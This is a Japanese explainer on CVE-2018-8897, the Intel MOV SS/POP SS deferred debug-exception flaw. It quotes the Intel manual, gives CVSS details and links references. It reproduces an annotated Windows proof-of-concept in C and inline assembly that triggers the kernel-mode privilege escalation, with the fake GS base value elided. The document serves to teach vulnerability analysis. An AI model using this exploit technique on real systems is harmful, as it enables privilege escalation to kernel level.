Intel ハードウェアアーキテクチャのデバッグ例外を適切に処理していない問題(CVE-2018-8897) を解説

#脆弱性の内容
Intelのハードウェアアーキテクチャ上で動作するWindowsやMac、Linuxなど複数のOSやハイパーバイザーにおいて、デバッグ例外を適切に処理せず、権限の昇格が生じるおそれがある。という脆弱性です。調査してわかった範囲を解説してみます。

※腹落ちしていないので今後書き直します。難しいです。この脆弱性は、、※

intelの以下のCPU仕様(Intel Software Developer Manual (SDM))を多くのOS開発者が誤読あるいは軽視したために生じたものだそうです。

> 6.8.3 Masking Exceptions and Interrupts When Switching Stacks
To switch to a different stack segment, software often uses a pair of instructions, for example:
MOV SS, AX
MOV ESP, StackTop
If an interrupt or exception occurs after the segment selector has been loaded into the SS register but before the ESP register has been loaded, these two parts of the logical address into the stack space are inconsistent for the duration of the interrupt or exception handler.
>
>To prevent this situation, the processor inhibits interrupts, debug exceptions, and single-step trap exceptions after either a MOV to SS instruction or a POP to SS instruction, until the instruction boundary following the next instruction is reached. All other faults may still be generated. If the LSS instruction is used to modify the contents of the SS register (which is the recommended method of modifying this register), this problem does not occur.

>6.8.3スタックの切り替え時の例外と割り込みのマスキング
別のスタックセグメントに切り替えるには、ソフトウェアはしばしば次のような一対の命令を使用します。
MOV SS、AX
MOV ESP、StackTop
セグメントセレクタがSSレジスタにロードされた後、ESPレジスタがロードされる前に割り込みまたは例外が発生した場合、割り込みまたは例外ハンドラの処理中、スタック空間の管理は整合性が取れないものになってしまいます。(スタックの管理にはSSレジスタとESPレジスタの2つを使用するため)
>
>このような状況を回避するために、プロセッサは、次の命令に続く命令境界に達するまで、MOV SS命令またはPOP SS命令のいずれかの後に割り込み、デバッグ例外、およびシングルステップトラップ例外を禁止します(※じつは禁止ではなく、遅延のようです)。他のすべてのフォールトがまだ生成されている可能性があります。 LSS命令を使用してSSレジスタの内容を変更する場合（このレジスタを変更する推奨方法）、この問題は発生しません。

つまり
```
MOV SS、AX         ; 次の命令の実行が終わるまで割り込みを禁止します。
MOV ESP、StackTop  ; 通常ESPへの値セットが想定されているのにここを違うものにしたら。。
```
というのが今回の問題。

なお、SDM Vol 3A section 2.3 によれば、デバッグ例外は EFLAGS レジスタの IF フラグ (Interrupt Enable Flag) では禁止されません。

>2.3 SYSTEM FLAGS AND FIELDS IN THE EFLAGS REGISTER
The system flags and IOPL field of the EFLAGS register control I/O, maskable hardware interrupts, debugging, task switching, and the virtual-8086 mode (see Figure 2-5). Only privileged code (typically operating system or execu- tive code) should be allowed to modify these bits.
The system flags and IOPL are:
>
>IF: Interrupt enable (bit 9) — Controls the response of the processor to maskable hardware interrupt requests (see also: Section 6.3.2, “Maskable Hardware Interrupts”). The flag is set to respond to maskable hardware interrupts; cleared to inhibit maskable hardware interrupts. The IF flag does not affect the gener- ation of exceptions or nonmaskable interrupts (NMI interrupts). The CPL, IOPL, and the state of the VME flag in control register CR4 determine whether the IF flag can be modified by the CLI, STI, POPF, POPFD, and IRET.



##攻撃コード
PoCを見てみます。対象はWindowsです。
[Arbitrary Code Execution At Ring 0 Using CVE-2018-8897](https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/)

```c:main.c
#include <Windows.h>
#include <iostream>
void main()
{
  static DWORD g_SavedSS = 0; /* ss: Stack Segmentレジスタ(16bit)を保持 */
  _asm
  {
    mov ax, ss
    mov word ptr [ g_SavedSS ], ax          ; g_SavedSSに現在のssの値を入れる
  }
  CONTEXT Ctx = { 0 };
  /* 
   * ssに読み書きがあったときにデバッガで捕捉できるように設定する.
   * DR0レジスタ：監視したいアドレスを設定する
   * DR7レジスタ：DR0にセットしたアドレスのbreakpointを有効にする(0b1<<0)
   *            読み書きを補足する((0b11<<16) | (0b11<<18))
   */
  Ctx.Dr0 = ( DWORD ) &g_SavedSS;
  Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
  Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
  SetThreadContext( HANDLE( -2 ), &Ctx );
  PVOID FakeGsBase = ...;
  _asm
  {
    mov eax, FakeGsBase                     ; Set eax to fake gs base
    push 0x23
    push X64_End
    push 0x33
    push X64_Start
    retf 
    X64_Start:
    __emit 0xf3                             ; wrgsbase eax
    __emit 0x0f
    __emit 0xae
    __emit 0xd8
    retf 
    X64_End:
    
    ; Vulnerability
    ; ssレジスタに書き込みにブレークポイントを事前に設定してある.
    mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
                                   ; ssレジスタにg_SavedSSの値を入れる.
                                   ; g_SavedSSにはssの値が入っているので、結局ssレジスタに同じ値を入れている.
                                   ; ssレジスタに値をセットしたものの、同じ値なのでスタックの状態がくずれることはない。
                                   ; 本命令が実行された直後に #DB が発生するが、CPU仕様により、この次の命令の実行が終了するまで遅延される。
                                   ; 

    int 3                          ; Execute with interrupts disabled
                                   ; この命令はCPU仕様により割込禁止(遅延)状態で実行されます。
                                   ; int 3によりkernelの割込ハンドラは実行され、CPL=0に遷移する。
                                   ; 本命令が実行終了(リタイア)した直後、割込禁止(遅延)のCPU仕様が解除され、mov ssにより発生するはずだった#DBが送出されます.
                                   ; つまりCPL=0でDPL=3のデバッガに制御が移ることになります.
                                   ; 

    nop
  }
}
```
割込ベクタは以下。

|ベクタ割込|ニーモニック|説明|原因|
|--------|----------|----|----|
|1|#DB|シングルステップ(デバッグ)|デバッガによるコード、データの参照|
|3|#BP|ブレークポイント(デバッグ)|INT 3命令|




#CVE
CVE-2018-8897
CVSS v3: Base Score=7.8(HIGH), AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
(ローカルエクスプロイトで(AV:L)、攻撃の難易度は低(PR:L)、権限はユーザ権限が必要(PR:L)、攻撃にユーザーの関与は不要(UI:N)。CIAどれも影響を受ける。)
公表日 2018/05/08

#参照

[【security-next】主要OSなどに権限昇格の脆弱性 - 各社アップデートで対応](http://www.security-next.com/093112)


[論文: POP SS/MOV SS Vulnerability](https://everdox.net/popss.pdf)
https://nvd.nist.gov/vuln/detail/CVE-2018-8897
https://access.redhat.com/ja/security/vulnerabilities/3442861

[JVNVU#98401336 Intel ハードウェアアーキテクチャのデバッグ例外を適切に処理していない問題](https://jvn.jp/vu/JVNVU98401336/)


Turing Complete FM では音声で解説しています。
https://turingcomplete.fm/20#t=10:47

[CVE-2018-8897: #DB exceptions that are deferred by MOV SS or POP SS
 may cause unexpected behavior](http://openwall.com/lists/oss-security/2018/05/08/4)

[Patch "x86/entry/64: Don't use IST entry for #BP stack" has been added to the 4.14-stable tree](https://www.spinics.net/lists/stable/msg229510.html)


[linux PoC](https://lore.kernel.org/lkml/67e08b69817171da8026e0eb3af0214b06b4d74f.1525800455.git.luto@kernel.org/)

C言語の0bプリフィックスを知らなかったです。。
https://qiita.com/7of9/items/2dbe45e005291f62950b

DR7レジスタの仕様
http://d.hatena.ne.jp/Hossy/20071120

Linux - 割り込みと例外
https://qiita.com/timwata/items/a1c1bdcbea353c567d76

Linux - 保護機能
https://qiita.com/timwata/items/9acaf8e05fd1ea90d9ec

# 履歴

2018/08/11 初版